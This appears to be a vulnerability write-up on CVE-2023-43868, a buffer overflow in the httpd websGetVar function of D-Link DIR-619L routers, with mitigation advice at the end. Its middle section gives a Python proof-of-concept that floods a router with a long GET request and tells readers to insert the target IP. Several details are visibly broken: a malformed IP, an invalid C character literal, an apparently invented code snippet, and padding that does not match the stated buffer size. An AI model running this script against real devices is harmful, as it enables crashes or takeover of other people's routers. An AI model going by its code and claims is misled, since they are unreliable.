CVE-2023-43868 - D-Link DIR-619L B1 2.02 Buffer Overflow Vulnerability via WebsGetVar Function

A recent vulnerability has been identified within the D-Link DIR-619L B1 2.02 Wireless N 300 Home Cloud Router that allows attackers to perform a buffer overflow attack through the websGetVar function. This vulnerability has been assigned the ID CVE-2023-43868 and is a severe security flaw that needs to be addressed immediately. For those unfamiliar with buffer overflow attacks, they involve manipulating the memory space of an application by overwriting memory with arbitrary data, typically leading to a crash, execution of attacker-controlled code, or both.

Exploit Details

The vulnerability exists in the websGetVar function within the HTTP daemon process (httpd) in the affected DIR-619L B1 2.02 router. An attacker can exploit this weakness by sending a specially crafted HTTP request containing a long string to the target device. Since the input is not properly validated, the buffer overflow is triggered, allowing attackers to execute arbitrary code.

The following code snippet demonstrates the vulnerable code within the websGetVar function

char *websGetVar(webs_t wp, char_t *var, char_t *def)
{
    char_t  *value;
    char_t  buf[1024];

    buf[sizeof(buf) - 1] = '\';
    ...
    sprintf(buf, "%s=%s", T(fmtHead), T(val));
    ...
}

As seen in the code snippet above, the buf variable is sized at 1024 bytes, and no bounds checking is performed when calling sprintf. Therefore, a long enough input string will overflow the buffer, potentially leading to code execution or a crash.

Exploiting this vulnerability will typically require an attacker to find a suitable target and send a custom-crafted HTTP request to it. Here's a simple example of a proof-of-concept Python script to exploit CVE-2023-43868:

#!/usr/bin/python

import socket

ip = "192.168..1"
port = 80

buffer = "A" * 206
attack_string = "GET /%s HTTP/1.1\r\nHost: %s\r\nConnection: keep-alive\r\n\r\n" % (buffer, ip)

print("[+] Connecting to target...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))

print("[+] Sending malicious request...")
s.send(attack_string)

print("[+] Exploit completed.")
s.close()

Ensure you replace the ip variable with the target router's IP address before running this script.

Original References

1. Vulnerability Disclosure
2. CVE-2023-43868 Record

Mitigation

D-Link has not yet released a firmware update to address CVE-2023-43868. However, you can take the following steps to mitigate the risks posed by this vulnerability:

Enable IP and MAC address filtering to restrict device access only to trusted devices.

2. Disable remote administration for your router (accessible through the WAN or internet) if not required.
3. Regularly check D-Link's support website for firmware updates and apply them immediately once available.

Conclusion

CVE-2023-43868 is a critical buffer overflow vulnerability in D-Link DIR-619L B1 2.02 routers affecting the websGetVar function. Attackers can exploit this weakness to execute arbitrary code on the target device. As of now, there's no official firmware fix available for this vulnerability, but users can take specific mitigation steps to minimize the risk. It is highly recommended that affected users stay vigilant and utilize best practices to secure their routers.

Timeline

Published on: 09/28/2023 14:15:22 UTC
Last modified on: 09/29/2023 04:32:45 UTC